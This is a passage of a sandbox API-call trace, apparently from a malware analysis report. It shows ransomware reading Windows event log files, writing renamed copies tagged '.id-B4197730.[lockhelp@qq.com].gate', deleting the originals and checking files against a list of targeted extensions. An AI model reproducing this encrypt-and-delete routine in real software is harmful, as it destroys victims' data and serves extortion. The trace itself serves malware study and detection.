(in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.237] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.237] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x16c, lpOverlapped=0x0) returned 1 [0278.237] SetEndOfFile (hFile=0x414) returned 1 [0278.237] CloseHandle (hObject=0x414) returned 1 [0278.242] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.242] SetEndOfFile (hFile=0x3a4) returned 1 [0278.243] CloseHandle (hObject=0x3a4) returned 1 [0278.244] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.244] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0278.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.245] lstrlenW (lpString=".doc") returned 4 [0278.245] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".docx") returned 5 [0278.245] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.245] lstrlenW (lpString=".pdf") returned 4 [0278.245] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".xls") returned 4 [0278.245] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".xlsx") returned 5 [0278.245] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.245] lstrlenW (lpString=".ppt") returned 4 [0278.245] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.245] lstrlenW (lpString=".zip") returned 4 [0278.245] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".rar") returned 4 [0278.245] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".bz2") returned 4 [0278.245] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.245] lstrlenW (lpString=".7z") returned 3 [0278.245] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.245] lstrlenW (lpString=".dbf") returned 4 [0278.245] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.246] lstrlenW (lpString=".1cd") returned 4 [0278.246] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.246] lstrlenW (lpString=".jpg") returned 4 [0278.246] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.246] lstrlenW (lpString=".doc") returned 4 [0278.246] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString=".docx") returned 5 [0278.246] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.246] lstrlenW (lpString=".pdf") returned 4 [0278.246] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString=".xls") returned 4 [0278.246] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString=".xlsx") returned 5 [0278.246] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.246] lstrlenW (lpString=".ppt") returned 4 [0278.246] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.246] lstrlenW (lpString=".zip") returned 4 [0278.246] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString=".rar") returned 4 [0278.246] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.246] lstrlenW (lpString=".bz2") returned 4 [0278.246] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.247] lstrlenW (lpString=".7z") returned 3 [0278.247] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.247] lstrlenW (lpString=".dbf") returned 4 [0278.247] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.247] lstrlenW (lpString=".1cd") returned 4 [0278.247] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0278.247] lstrlenW (lpString=".jpg") returned 4 [0278.247] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.247] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.247] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0278.247] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.263] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0278.263] CloseHandle (hObject=0x3a4) returned 1 [0278.263] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0278.263] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.264] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.264] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.264] GetLastError () returned 0x0 [0278.264] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.363] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.365] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.365] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x128, lpOverlapped=0x0) returned 1 [0278.365] SetEndOfFile (hFile=0x414) returned 1 [0278.366] CloseHandle (hObject=0x414) returned 1 [0278.368] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.368] SetEndOfFile (hFile=0x3a4) returned 1 [0278.369] CloseHandle (hObject=0x3a4) returned 1 [0278.369] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.370] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0278.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.372] lstrlenW (lpString=".doc") returned 4 [0278.372] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString=".docx") returned 5 [0278.372] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.372] lstrlenW (lpString=".pdf") returned 4 [0278.372] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString=".xls") returned 4 [0278.372] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString=".xlsx") returned 5 [0278.372] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.372] lstrlenW (lpString=".ppt") returned 4 [0278.372] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.372] lstrlenW (lpString=".zip") returned 4 [0278.372] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString=".rar") returned 4 [0278.372] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.372] lstrlenW (lpString=".bz2") returned 4 [0278.373] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString=".7z") returned 3 [0278.373] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString=".dbf") returned 4 [0278.373] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString=".1cd") returned 4 [0278.373] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString=".jpg") returned 4 [0278.373] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString=".doc") returned 4 [0278.373] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString=".docx") returned 5 [0278.373] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.373] lstrlenW (lpString=".pdf") returned 4 [0278.373] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString=".xls") returned 4 [0278.373] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString=".xlsx") returned 5 [0278.373] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.373] lstrlenW (lpString=".ppt") returned 4 [0278.373] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.373] lstrlenW (lpString=".zip") returned 4 [0278.373] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.373] lstrlenW (lpString=".rar") returned 4 [0278.373] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.374] lstrlenW (lpString=".bz2") returned 4 [0278.374] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.374] lstrlenW (lpString=".7z") returned 3 [0278.374] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.374] lstrlenW (lpString=".dbf") returned 4 [0278.374] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.374] lstrlenW (lpString=".1cd") returned 4 [0278.374] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0278.374] lstrlenW (lpString=".jpg") returned 4 [0278.374] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.374] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.374] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0278.374] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.374] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0278.374] CloseHandle (hObject=0x3a4) returned 1 [0278.374] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0278.375] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.375] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.375] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.375] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.375] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.375] GetLastError () returned 0x0 [0278.375] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.528] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.531] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.531] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x12e, lpOverlapped=0x0) returned 1 [0278.531] SetEndOfFile (hFile=0x414) returned 1 [0278.531] CloseHandle (hObject=0x414) returned 1 [0278.534] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.534] SetEndOfFile (hFile=0x3a4) returned 1 [0278.535] CloseHandle (hObject=0x3a4) returned 1 [0278.535] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.535] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0278.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.536] lstrlenW (lpString=".doc") returned 4 [0278.536] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.536] lstrlenW (lpString=".docx") returned 5 [0278.536] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.536] lstrlenW (lpString=".pdf") returned 4 [0278.536] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.536] lstrlenW (lpString=".xls") returned 4 [0278.536] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.536] lstrlenW (lpString=".xlsx") returned 5 [0278.536] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.537] lstrlenW (lpString=".ppt") returned 4 [0278.537] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString=".zip") returned 4 [0278.537] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString=".rar") returned 4 [0278.537] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString=".bz2") returned 4 [0278.537] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString=".7z") returned 3 [0278.537] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString=".dbf") returned 4 [0278.537] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString=".1cd") returned 4 [0278.537] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString=".jpg") returned 4 [0278.537] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.537] lstrlenW (lpString=".doc") returned 4 [0278.537] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.537] lstrlenW (lpString=".docx") returned 5 [0278.538] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.538] lstrlenW (lpString=".pdf") returned 4 [0278.538] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString=".xls") returned 4 [0278.538] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString=".xlsx") returned 5 [0278.538] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.538] lstrlenW (lpString=".ppt") returned 4 [0278.538] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.538] lstrlenW (lpString=".zip") returned 4 [0278.538] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString=".rar") returned 4 [0278.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString=".bz2") returned 4 [0278.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString=".7z") returned 3 [0278.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.538] lstrlenW (lpString=".dbf") returned 4 [0278.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.538] lstrlenW (lpString=".1cd") returned 4 [0278.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0278.538] lstrlenW (lpString=".jpg") returned 4 [0278.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.539] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.539] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0278.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.548] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0278.548] CloseHandle (hObject=0x398) returned 1 [0278.548] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0278.549] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.549] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.549] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.550] GetLastError () returned 0x0 [0278.550] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.714] WriteFile (in: hFile=0x420, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.716] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.716] WriteFile (in: hFile=0x420, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x146, lpOverlapped=0x0) returned 1 [0278.716] SetEndOfFile (hFile=0x420) returned 1 [0278.721] CloseHandle (hObject=0x420) returned 1 [0278.723] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.723] SetEndOfFile (hFile=0x398) returned 1 [0278.724] CloseHandle (hObject=0x398) returned 1 [0278.724] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.724] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) 